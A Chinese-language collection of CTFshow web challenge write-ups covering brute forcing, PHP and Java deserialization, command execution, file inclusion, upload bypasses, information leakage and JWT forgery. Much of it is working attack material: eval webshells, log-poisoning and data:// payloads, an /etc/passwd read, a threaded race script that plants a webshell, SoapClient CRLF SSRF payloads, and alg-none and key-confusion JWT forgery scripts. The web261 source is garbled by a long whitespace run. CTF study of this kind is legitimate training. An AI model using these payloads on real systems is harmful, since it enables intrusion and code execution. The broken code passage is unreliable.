CTFshow

一、爆破

web21(base64编码后爆破)

一.题目

image-20241123162011864

二.wp

1.输入账号admin,密码111111111,抓个包得知发送的数据经过了前端js的base64编码,那么就得对payload进行base64编码来爆破

image-20241123162103695

2.选定payload,狙击手模式

image-20241123162351433

3,选择自定义迭代器模式,payload1输入用户名字典,payload2设置冒号:来当分隔符,payload3设置密码的字典

image-20241123162622739

image-20241123162637983

image-20241123162653900

web23(写php脚本爆破)

源码:

image-20240919104834138

思路:就是找到一个数字token,进行md5加密后满足一系列条件,自己只要将源码修改一下(把条件照抄),自己写个脚本即可。

image-20240919105001720

跑出来后得到token为422

image-20240919105019717

web24(随机数种子)

一.题目

image-20241125154106699

二.解释

mt_rand()函数

mt_rand() 函数使用 Mersenne Twister 算法生成随机整数。
使用语法:mt_rand(); or mt_rand(min,max);,生成一个区间内的随机数。
其参数min默认为最小值0,max默认为可生成的随机数最大值2147483647,由mt_getrandmax()函数获得。

mt_srand()函数

mt_srand() 函数播种 Mersenne Twister 随机数生成器。
提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数。当不使用随机数播种函数srand时,php也会自动为随机数播种,因此是否确定种子都不会影响正常运行。

在php中每一次调用mt_rand()函数,都会检查一下系统有没有播种。(播种为mt_srand()函数完成),当随机种子生成后,后面生成的随机数都会根据这个随机种子生成。所以同一个种子下,随机数的序列是相同的,这就是漏洞点,我们先看两个例子。

<?PHP
mt_srand(0);
echo mt_rand();
echo mt_rand();
echo mt_rand();
?>

在上面的代码中,我们把随机数播种为0,每次运行都会获得相同的序列,这就是伪随机:

963932192
1273124119
1535857466

当我们去掉mt_srand()函数时,再次重复运行实例,系统会自动为rand函数播种,但也是播种一次。因此多次重复运行的结果也相同,为:

992978829
928748101
1380702626

三,解题

我只要把在本地设置mt srand(372619038)的种子,在运行mt srand()函数,直接运行一万次,总有一个数是跟题目的随机数相同的,把那一万个数放到bp里面爆破即可

写一个坑: 这里php版本很重要。 事实上这里PHP版本使用不同结果也会不同。 php8.2.9是可以正确拿到的版本。

web25(随机数种子进阶)

一,题目

image-20241125164255093

二.分析

1.如果我输入r=0,则$rand的结果就是第一次随机数,这样我就可以得到第一次的随机数。然后使用php_mt_seed工具进行爆破种子,命令 ./php_mt_seed 第一次随机数的值

image-20241125164516102

2.接着分析,然后我可以传入r=第一次的随机数,进入 if((!$rand))语句,该语句要求我的token值要等于第二次随机数和第三次随机数的和,则可以得到flag

3.编写代码

<?php
mt_srand(3870535924);
mt_rand();
$token = mt_rand()+mt_rand();
echo $token;
?>

我们将上图的所有种子一一放入该代码里面测试,得到第二次和第三次随机数的和,也就是我们想要的token,再讲得到的所有token放进请求包里测试,总有一个是正确的,以此得到flag

总结:本质就是,只要种子相同,那么运行n次得到的n个随机数的情况都是相同的

web27(爆破出生年月)

image-20241125185058326

image-20241125185107353

注意:该处的返回包的flag没事直白的,而是经过编码的。

日期爆破就是这样设置的

web28(目录爆破)

image-20241125190529367

二、反序列化

web258(绕过preg_match)

一,题目

image-20241129101845953

二,解题

本题关键点就是绕过preg_match('/[oc]:\d+:/i', $_COOKIE['user'])

  • /[oc]:\d+:/i
    

    :这是一个正则表达式,其中:

    • [oc] 表示匹配字符 "o" 或 "c"。
    • \d+ 表示匹配一个或多个数字。
    • : 表示匹配冒号字符。
    • i 是一个修饰符,表示不区分大小写。

这个正则表达式用于匹配像 "o:123" 或 "c:456" 这样的字符串,其中 ":" 后面跟着一个或多个数字

脚本:

<?php
class ctfShowUser{
    public  $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public
        $class = 'info';

    public function __construct(){
        $this->class=new backDoor(); //这里需要修改为backDoor(),因为我想让调用backDoor的getinfo()函数
    }

}

class info{
    public $user='xxxxxx';
}

class backDoor{
    public $code="system('ls');";
}
$a=new ctfShowUser();
$b=serialize($a);
$c=str_replace('O:', 'O:+',$b);  //只要把O:改为O:+即可,因为+1和1没有任何区别
echo urlencode($c);

web259

前置知识,SoapClient反序列化SSRF

应用场景:代码审计中有反序列化点,但找不到制造不出pop链

1.首先测试正常情况下SoapClient类,调用一个不存在的函数,就会去调用__call方法。

只要新建SoapClient一个对象,再用该对象调用一个不存在的方法,那边监听端口,就可以了

注意:php.ini配置型文件里的extension=php_soap.dll,将其前面的分号去掉

<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();

运行后的结果如下。通过SoapClient类可以构造数据包,向指定url发送请求

image-20241208170527161

image-20241208170401272

CRLF漏洞

从上图得知,SOAPAction处受我控制,可以把\x0d\x0a注入到SOAPAction,就可以让数据包里的内容进行换行,POST请求的header就可以被我控制

\x0d\x0a 是一个十六进制表示的

\x0d 代表回车符(CR)

\x0a 代表换行符(LF)

2.测试如下代码,插入\r\n

<?php
$a = new SoapClient(null,array('uri'=>"bbb\r\n\r\nccc\r\n", 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();

image-20241208170921250

image-20241208171034014

但是Content-Type在SOAPAction的上面,Content-Type我该怎么控制啊?

嘿嘿,还好User-Agent在Content-Type上面,我可以控制User-Agent,从而不就控制了Content-Type了嘛

User-Agent同样可以注入CRLF,控制Content-Type

3.测试如下代码

<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=my_session'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;

$c = unserialize($aaa);
$c->not_exists_function();
?>

//代码审计一下,join('^^', $headers):这里使用 join 函数将 $headers 数组中的元素用 ^^ 连接起来。str_replace()将^^都替换成换行符,方便我构造数据包

运行结果

image-20241208171825693

如上,使用SoapClient反序列化+CRLF可以生成任意POST请求

一,题目源码

//flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//收集header头HTTP_X_FORWARDED_FOR,并用explorer将HTTP_X_FORWARDED_FOR以逗号分隔,构成一个数组
array_pop($xff);//返回数组最后一个元素,并删除该元素
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag); //将$flag放进flag.txt中
	}
}
<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

二,解题

构造payload,得要3个127.0.0.1 ,因为它会砍掉我两个,

Content-Type:application/x-www-form-urlencoded

Content-Length:13 ,因为token=ctfshow的长度为13,剩余的都不要

token=ctfshow

<?php
$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
echo urlencode(serialize($client))
?>

运行上述脚本得到payload

O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A10%3A%22127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A138%3A%22ctfshow%0D%0Ax-forwarded-for%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

传值url?vip=payload, 你一传过去,它反序列化得到SoapClient的对象,然后该对象调用getFlag(),一个不存在的方法,就会触发__call函数,饭后就会发送数据包给/flag.php,经过检测,$flag就被放进flag.txt了,然后你再访问flag.txt,里面就有flag了

web260

一,题目

image-20241208210317494

二,解题

直接get传参ctfshow=ctfshow_i_love_36D就可以了

运行下面这个代码

<?php
$a='ctfshow_i_love_36D';
echo serialize($a);
?>

结果:

s:18:"ctfshow_i_love_36D";

web261(__unserialize魔术变量)

前置知识:

1.__unserialize()的参数:当__serialize()方法存在时,参数为__serialize的返回数组;当__serialize()方法不存在时,参数为实例对象的所有属性值组合而成的数组
2.在 php 7.4 以上版本反序列化时,当__serialize()和__sleep()方法同时存在,序列化时忽略__sleep()方法而执行__serialize();当__unserialize()方法和__wakeup()方法同时存在,反序列化时忽略__wakeup()方法而执行__unserialize()

示例一:

<?php
 
class ctfshowvip{
    public $username="877.php";
    public $password="password";
    public $code=0x36d;
 
    public function __serialize(): array
    {
        return [
            $this->username,
            $this->password
        ];
    }
 
    public function __unserialize(array $data): void
    {
        print_r($data);
    }
 
}
 
$vip=new ctfshowvip();
 
$vip=unserialize(serialize($vip));
 
?>

image-20241208215221664

示例二:

<?php
 
class ctfshowvip{
    public $username="877.php";
    public $password="password";
    public $code=0x36d;
 
    /*public function __serialize(): array
    {
        return [
            $this->username,
            $this->password
        ];
    }*/
 
    public function __unserialize(array $data): void
    {
        print_r($data);
    }
 
}
 
$vip=new ctfshowvip();
 
$vip=unserialize(serialize($vip));
 
?>

image-20241208215204386

一,题目

<?php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               ?>';
            
        }
    
}
echo serialize(new ctfshowvip());
?>

//O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:4:"code";s:0:"";}

把vip参数传进去后,__unserialize()函数体的$this->code=877.php ,接着触发__destruct函数时,if弱类型比较就可以达到绕过了。

三、命令执行

web29(绕过flag字符)

一,题目

image-20241129114939012

二,解题

1.c=system("cat fl*g.php | grep  -E 'fl.g' "); //将flag.php的内容输出到|,gerp将包含fl.g的那一行显示到命令终端

2.c=system("cp fl*g.php a.txt "); //将flag.php的内容复制到a.txt,访问/a.txt,在查看源代码

3.c=system('echo -e " <?php \n error_reporting(0); \n  \$c= \$_GET[\'c\']; \n eval(\$c); " > a.php');  //-e选项使echo能够解释转义字符(如\n表示换行)
在访问url/a.php?c=system("tac flag.php");

4. highlight_file(base64_decode("ZmxhZy5waHA=")); //显示flag.php的内容,ZmxhZy5waHA=为flag.php的base64的编码

5.?c=system('cat fl?g.php'); //用?和*

四、文件包含

web78

一,题目

image-20241125193642675

二,解题

data伪协议(推荐,可以使用ls命令查看flag位置)
?file=data://text/plain,<?php system("ls")?>
?file=data://text/plain,<?php system("tac flag.php")?>

fliter伪协议(不推荐,不知道flag在哪时不好用)
?file=php://filter/convert.base64-encode/resource=flag.php

日志包含(推荐,伟大无需多言)
?file=/var/log/nginx/access.log
<?php eval($_POST[a]); ?>

注意:日志包含

由于访问URL时,服务器会对其进行编码,所以我们通过使用burpsuite抓包来进行来注入

img

写入一句话木马之后,使用蚁剑尝试连接

连接url即为日志的地址:http://ec78819f-174d-4e26-82be-7cce55c08b05.challenge.ctf.show/?url=/var/log/nginx/access.log

img

知识点

对于Apache,日志存放路径:/var/log/apache/access.log

对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log

中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。

Nginx中的日志分两种,一种是error.log,一种是access.log。error.log可以配置成任意级别,默认级别是error,用来记录Nginx运行期间的处理流程相关的信息;access.log指的是访问日志,用来记录服务器的接入信息(包括记录用户的IP、请求处理时间、浏览器信息等)。

web79(php字符绕过)

一,题目

image-20241125214340245

二,解释

法一:input协议 大小写绕过		
payload: 

POST /?file=Php://input HTTP/1.1
	
    <?Php system("ls");?>

法二: data协议 + 利用php性质绕过+base64绕过
payload:

?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==  //<?php phpinfo();
PD9waHAgcGhwaW5mbygpOw== 进行base64解码后<?php phpinfo();


?file=data://text/plain,<?= `tac f*`;?>
?file=data://text/plain,<?Php echo `tac f*`;?>   //可以无 ;


注意:<?php ?> :php默认的开始、结束标签 <? ?> :需要开启short_open_tag ,即short_open_tag = On。 <%%> :需要开启asp_tags ,即asp_tags = On。 <?= ?> :用于输出,等同于- 可以直接使用 <%= %> :用于输出,等同于- ,需要开启asp_tags ,才可以使用 short_open_tag控制的是<? ?>标签。而并非<?= ?>标签,<?= ?>标签用于输出变量。当开启short_open_tag,<? ?> 功能和<?php ?> 一样。 php中代码开始标志类型(,,,<% %>,<%= %>)

法三:file伪协议
1.Windows 系统上可以  file://C:/Windows/System32/drivers/etc/hosts
2.Linux 和 macOS 系统上 file:///etc/passwd
3.使用相对路径 file://./relative/path/to/file.txt

web82(条件竞争)

一,前置知识

1.下面是一个检测文件上传的后端代码,意思就是:你首先上传了一个文件到服务器,我再来检测你是不是php后缀的文件,如果是,那么我在unlink来删除它。

<?php
header("Content-Type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$ext = substr($filename,strrpos($filename,'.') + 1);   #后缀

$path = 'uploads/' . $filename;
$tmp = $_FILES['file']['tmp_name'];
if(move_uploaded_file($tmp, $path)){
	if(!preg_match('/php/i', $ext)){   #判断后缀是否为php
		echo 'upload success,file in '.$path;
	}else{
		unlink($path);    #已经上传后判断若是PHP则删除
		die("can't upload php file!");
	}
	}else{
		die('upload error');
}

2.那么我们是不是可以通过高并发,来上传如下的文件(该文件时写一句话木马到test.php里面),只要我通过高并发,趁你在unlink删除该文件之前,我访问成功了,那么木马就写进test.php里面了

<?php
$content='<?php system($_GET["c"]);?>';
file_put_contents('test.php',$content);
?>

方法二:

import requests
import io
import threading


url='http://b04c7980-d374-4c39-9ebc-a612708262c8.challenge.ctf.show/'
sessionid='ctfshow'
data={
	"1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"
}  

'''
post 传递内容可在网站目录下写入一句话木马。
根据资料,内容暂存在 /tmp/ 目录下 sess_sessionid 文件。
sessionid 可控,所以这里即 /tmp/sess_ctfshow。
这样一旦访问成功,就说明木马植入了
'''


# /tmp/sess_sessionid 中写入一句话木马。
def write(session):  
	fileBytes = io.BytesIO(b'a'*1024*50)
	while True:
		response=session.post(
			url,
			data={
			'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
			},
			cookies={
			'PHPSESSID':sessionid
			},
			files={
			'file':('ctfshow.jpg',fileBytes)
			}
			)


# 访问 /tmp/sess_sessionid,post 传递信息,保存新木马。
def read(session):
	while True:
		response=session.post(
			url+'?file=/tmp/sess_'+sessionid,
	        data=data,
			cookies={
			'PHPSESSID':sessionid
			}
			)
		# 访问木马文件,如果访问到了就代表竞争成功
		resposne2=session.get(url+'muma.php')
		if resposne2.status_code==200:
			print('++++++done++++++')
		else:
			print(resposne2.status_code)

if __name__ == '__main__':

	evnet=threading.Event()
	# 写入和访问分别设置 5 个线程。
	with requests.session() as session:
		for i in range(5):
			threading.Thread(target=write,args=(session,)).start()
		for i in range(5):
			threading.Thread(target=read,args=(session,)).start()

	evnet.set()

运行脚本并成功写入后即可访问木马。

在这里插入图片描述

五、文件上传

web153(.user.ini)

一 、.user.ini原理:

指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)所以要求当前目录必须要有php文件,巧合的是这题upload目录下有个index.php所以这种方式是可以成功的。

auto_append_file木马文件上传后上传

auto_prepend_file在木马文件上传前上传

二、解题

1.该题前端后端皆有过滤

(1)先上传.user.ini文件,不过得先改成1.png(因为前端有过滤,bp拦截后再改成.user.ini吧)

(2)再上传shell.png(里面内容是一句话木马)

(3)在访问upload/index.php, post传参cmd执行命令。该题的flag要查看源代码才能看到。

为什么是访问index.php呢?因为shell.png是被插入到跟它同级目录upload下面的index.php中

image-20241220131758554

web154(文件内容过滤php)

直接把上题中shell.png里面的内容改为短标签即可

短标签绕过<?=eval($_POST[1]);?>

web155(内容过滤了php和[])

再上两题的基础上

短标签绕过、[]绕过<?=eval($_POST{1});?>

web156(过滤php 和[]和;和{})

这种情况彻底上不了马了,那只能命令执行了

shell.png的内容改为

<?=@system("tac ../flag.*")?>   //cat,tac,more,nl都可以查看

web156(过滤php 和[]和;和{}和())

php特性,命令执行可以用``(反引号包涵)

<?=`nl ../fl*`?>

web157(日志包含)(空格和``反引号和log过滤掉了)

1.再上面题目的基础上,把shell.png的内容改为

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

2.然后访问upload/index ,发现日志已经包含成功

image-20241220141100916

3.接着再访问upload/index.php, 用bp抓包,到数据包的UA头上插入一句话木马即可

image-20241220141445154

4,再用蚁剑连即可

web158(日志包含,文件头绕过)

添加了绕过PHP函数getimagesize()检测文件头,老套路,上传的文件首行都添加GIF的文件头GIF89A

六、信息收集

web1(一键三联,查看网页源代码、抓包、dirmap)

web2(无法看源码)

法一:url前加入view-source: 查看源代码。 view-source:url

法二:不断刷新,不断按F12 以条件竞争的方式,打开源码

法三:直接ctrl+u就能看到源码了,注释里面就是flag。

web3(无思路就抓包)

web4(robots.txt文件)

web5(phps源码泄露)

备份文件:访问index.phps
本题考查的是phps作为备份文件,泄露了源码。
其他常见的有linux的备份文件,比如index.php.swp
还有www.zip等。
可以用的工具有:

1、用dirmap直接扫目录

2、https://github.com/shanyuhe/fzbk
或者使用burp打一波fuzz。
https://github.com/3had0w/Fuzzing-Dicts/blob/master/%E5%B8%B8%E8%A7%81%E7%BD%91%E7%AB%99%E5%A4%87%E4%BB%BD%E6%96%87%E4%BB%B6%E5%AD%97%E5%85%B8%EF%BC%882954%EF%BC%89.txt

注意后缀可以结合当前文件,比如index.php来修改,如果是upload.php则可以改为upload.php.zip等。

web6(源码泄露)(扫目录)

.rar .zip .7z .tar.gz .bak .swp .txt

本题是www.zip 毫无思路时就直接扫目录

web7(git源码泄露)

版本控制工具,常见还有git,svn等源码泄露

访问url/.git,通过信息泄露发现flag,或者用dirmap扫目录

web8(svn源码泄露)

.svn缓存信息泄露,直接访问url/.svn/

web9(vim缓存泄露)

vim缓存泄露,在使用vim进行编辑时,会产生缓存文件,操作正常,则会删除缓存文件,如果意外退出,缓存文件保留下来,这是时可以通过缓存文件来得到原文件,以index.php来说,第一次退出后,缓存文件名为 .index.php.swp,第二次退出后,缓存文件名为.index.php.swo,第三次退出后文件名为.index.php.swn ———————————————— 版权声明:本文为CSDN博主「伤心的小尾巴」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/qq_59950255/article/details/121500183

此题直接访问index.php.swp,用dirmap扫出该文件

web10(cookie中常有flag)

但得到的flag得解码

web11(域名解析)

知识补充: 查询域名解析地址 基本格式:nslookup host [server]

查询域名的指定解析类型的解析记录 基本格式:nslookup -type=type host [server]

查询全部 基本格式:nslookup -query=any host [server]

编辑nslookup -query=any flag.ctfshow.com

正文:根据题目提示‘通过dns检查查询flag https://zijian.aliyun.com/ TXT 记录,一般指为某个主机名或域名设置的说明。

查找flag.ctfshow.com域名下的txt记录’可知直接通过阿里云域名解析平台或者终端用命令nslookup都可以找到flag 用阿里云时候记得在高级设置那里调好类型为txt,预期结果为flag即可。

web12(网站上公开信息就是admin的密码)

dirmap发现/admin 后台登录系统 然后根据提示:"有时候网站上的公开信息,就是管理员常用密码" 在页面最下面有密码

image-20240914151650670

账号一般就是admin

web13(网站上有的文档有重要信息)

本题目的是答题者了解到很多的文章有许多的文档,可以在这些文档中发现很多信息,例如文件中有许多的信息泄露的地方,本题在底部的document这个这个文本中记录到有地址和密码。

技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码

web14(editor造成信息泄露)

有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人

小0day:某编辑器最新版默认配置下,如果目录不存在,则会遍历服务器根目录 根据提示 泄露重要(editor)的信息 直接在url后面添加/editor 然后查看flag路径并且访问 所以我们直接url/editor进去,发现是一个编辑器,选择插入文件,这时候它就会自动打开非本地的文件目录(目录遍历) 按一般思路flag一般都是在var/www/html中的,文件夹里有一个叫nothinghere的,打开它即可发现flag存放处,这个时候我们复制路径nothinghere/fl000g.txt替换掉原来的url后缀回车即可得到flag。

web15(qq邮箱泄露信息)

扫目录发现/admin,忘记密码提示要密保(居住城市在哪),搜索得到的qq号发现是西安

web16(探针未删泄露信息)

探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡流量、系统负载、服务器时间等信息 输入默认探针tz.php 打开后点击phpinfo就可以查看到flag

web17(备份的sql文件会泄露敏感信息)

直接搜索靶场路径:python dirsearch.py -u https://c172e072-fe1c-43c9-a95c-4d718878d640.challenge.ctf.show/ 会发现一个backup.sql的文件 加上去访问就可以了,backup.sql是备份的sql文件

web18(查看获修改前端js代码)

看js代码,发现只要score>100即可通关,

image-20240914160852136

将\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b进行unicode解码

web19(查看前端源码发现账号密码)

提交时,得用burp提交,因为得到的密码是经过前端加密的,要是在前端提交,就会再加密以此,会出错

web20(mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。)

用dirmap扫

用dirsearch递归扫,查询语法python dirsearch.py -u http://e9e9bf61-442b-41cf-acd6-cadf3d691fde.challenge.ctf.show/ 可以查询到有个python dirsearch.py -u http://e9e9bf61-442b-41cf-acd6-cadf3d691fde.challenge.ctf.show/db/ 的路径 接着查python dirsearch.py -u http://e9e9bf61-442b-41cf-acd6-cadf3d691fde.challenge.ctf.show/db/ 可以查看到/db/db.mdb

mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。 根据提示‘mdb文件是早期asp+access构架的数据库文件 直接查看url路径添加/db/db.mdb 下载文件通过txt打开或者通过EasyAccess.exe打开搜索flag ’ 在url后加入/db/db.mdb然后用notepad++打开搜索flag即可得到答案

七、jwt

前置知识:jwt的原理

一,jwt的结构

1.Header(头部)

image-20241126145936830

2.Payload(有效载荷)

image-20241126150019652

3.Signature(签名)

image-20241126150035052

二,生成过程

1,将header进行base64编码得到第一部分

2,将payload进行base64编码得到第二部分

3,将第一部分和第二部分用 . 进行拼接起来,再用秘钥和header制定的算法进行加密得到第三部分

4.将三个部分用 . 进行拼接得到jwt

image-20241126150412641

web345

一,题目

image-20241126153046761

二,解题

1.抓包得到jwt

image-20241126153129340

2.放到https://jwt.io/里解码

image-20241126153307311

3.把jwt给替换掉,再访问/admin/就行了

web346(修改算法为none,jwt欺骗)

一,题目

image-20241127151547438

二,解题

该题得将payload里的sub改为admin,并且将header里的的算法alg改为none,这样的jwt里面就没有算法签名了,如果目标服务器支持none算法,那么攻击者就可以用伪造的token冒充任意用户登录网站

此题得用python脚本来生成none算法的jwt

import jwt

# payload
token_dict = {
  "iss": "admin",
  "iat": 1732690670,
  "exp": 1732697870,
  "nbf": 1732690670,
  "sub": "admin",
  "jti": "8b4e22fb1306877464ccc1f64ffcbdfb"
}

headers = {
  "alg": "none",
  "typ": "JWT"
}
jwt_token = jwt.encode(token_dict,  # payload, 有效载体
                       "",  # 进行加密签名的密钥
                       algorithm="none",  # 指明签名算法方式, 默认也是HS256
                       headers=headers
                       # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
                       )

print(jwt_token)

运行后的结果,一定要记得,去掉签名那部分后,你的最终也要跟个 .

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTczMjY5MDY3MCwiZXhwIjoxNzMyNjk3ODcwLCJuYmYiOjE3MzI2OTA2NzAsInN1YiI6ImFkbWluIiwianRpIjoiOGI0ZTIyZmIxMzA2ODc3NDY0Y2NjMWY2NGZmY2JkZmIifQ.

web347(秘钥弱口令)

一,题目

image-20241207165617138

二,秘钥的弱口令为123456

放到jwt.io伪造admin即可

image-20241207165837371

web348(秘钥爆破)

一,题目

image-20241207170044407

二,解题

用ubuntu上的工具 c-jwt-cracker-master

命令

./jwtcrack jwt字符串

image-20241207170103437

得到秘钥为aaab,放到jwt.io去篡改即可

web349

一,题目,给出附件源码

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key'); //读取名为private.key的私钥文件。
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' }); //使用私钥和RS256算法创建一个JWT,其中包含用户信息{ user: 'user' }。
  res.cookie('auth',token);//将生成的JWT设置为名为auth的cookie
  res.end('where is flag?');//结束响应并返回文本"where is flag?"
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth; //从请求的cookie中获取名为auth的JWT。
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  //读取名为public.key的公钥文件。
	jwt.verify(auth, cert, function(err, decoded) { //用公钥验解密jwt
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  } //如果JWT验证成功,并且解码后的用户信息中的user字段为'admin',则返回flag的值。
	});
});

二,解题

源码的原理是私钥生成jwt,公钥解密jwt

得到访问url/private.key 得到密钥

访问url/public.key 得到公钥

1.构造jwt

方法一:利用python脚本,和私钥,自主生成jwt (因为题目是靠私钥生成jwt的,所以我们用脚本生成jwt也是用私钥

import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))

2.发包

题目是要我们POST访问/目录,那我们替换上生成的cookie就可以了

image-20241208110715671

web350(密钥混淆攻击 RS256=>HS256)

一,题目

1.下载题目附件,发现有public.key公钥。或者说访问url/public.key也可以后的公钥

image-20241208141658406

2,源码中发现index.js ,发现jwt的生成与验证原理

var express = require('express');
var router = express.Router();
var jwt = require('jsonwebtoken');
var fs = require('fs');

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });  //这里是用私钥private.key和RS256算法来生成jwt

  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){ //POST访问/目录
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//routes/public.key');  // get public key
	jwt.verify(auth, cert,function(err, decoded) {  //用公钥解密
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin'+err);
	  }
	});
});

module.exports = router;

3.本题的思路原理:我没得到私钥啊,我不能直接篡改我的jwt。完蛋! 但是我可以换掉它的算法,RS25256的加密原理是私钥加密,公钥验证;HS256的加密原理:对称加解密,一把钥匙既用于加密,也用于验证。既然这样,我直接改算法为HS256,用他给的公钥来加密生成我想要的jwt,当服务器接受我的cookie时,它识别到这是HS256,然后用RS256的私钥(这也是我自己加密用的公钥),服务器当然可以用这把钥匙和HS256算法解密

import jwt

jwt_payload={
  "user": "admin", //修改我admin用户
  "iat": 1732026296
}

pub=open("./public.key","rb").read()  //把public.key文件放到同级目录下
jwt_headers={
  "alg": "HS256", //修改为HS256算法
  "typ": "JWT"
}

jwt_token=jwt.encode(jwt_payload,key=pub,algorithm='HS256',headers=jwt_headers,)

print(jwt_token)

4,post访问/目录,换上我的cookie即可得到flag

八、php特性

web89(preg_match&intval)

一,题目

image-20241128141148799

二,解决

preg_match传入数组,如num[0]=1,则返回0;二intval遇到数组,则返回 1

九、java反序列化

web846(URLDNS)

一、题目

image-20250331121822471

二、思路

自己生成一个ysoserial工具生成一个urldns链即可,且要base64编码,题目会接受我的值进行base64解码然后反序列化,反序列化过程中会产生dnslog访问,访问地址是该题的地址

直接拿工具梭哈即可

java -jar ysoserial.jar URLDNS "题目地址"|base64

yslserial的安装(不要直接工现成的jar包,你自己编译一遍的有更多功能,最好按在linux上)

下载项目

git clone https://github.com/wh1t3p1g/ysoserial.git
cd ysoserial

编译项目

mvn clean package -DskipTests

生成 Payload

以下是一个生成 payload 的示例命令:

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 'touch /tmp/pwned' > payload.bin

这个命令将生成一个包含 touch /tmp/pwned 命令的序列化数据,并将其输出到名为 payload.bin 的文件中。

wsl安装java1.8教程https://houbb.github.io/2024/01/05/windows-install-wsl-02-env-jdk8

idea报错无效的源发行版https://blog.csdn.net/qq_43362426/article/details/111370493

或者手搓链子也行

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
//这段代码的主要目的是通过反射修改URL对象的hashCode字段值
// ,从而在HashMap中引发潜在的哈希冲突,并将最终的HashMap对象序列化为Base64字符串
public class web846  {
    //用于将传入的对象obj序列化为Base64编码的字符串
    public static void serialize(Object obj) throws IOException{
        //创建一个ByteArrayOutputStream对象data,用于存储序列化后的字节数据
        ByteArrayOutputStream data =new ByteArrayOutputStream();
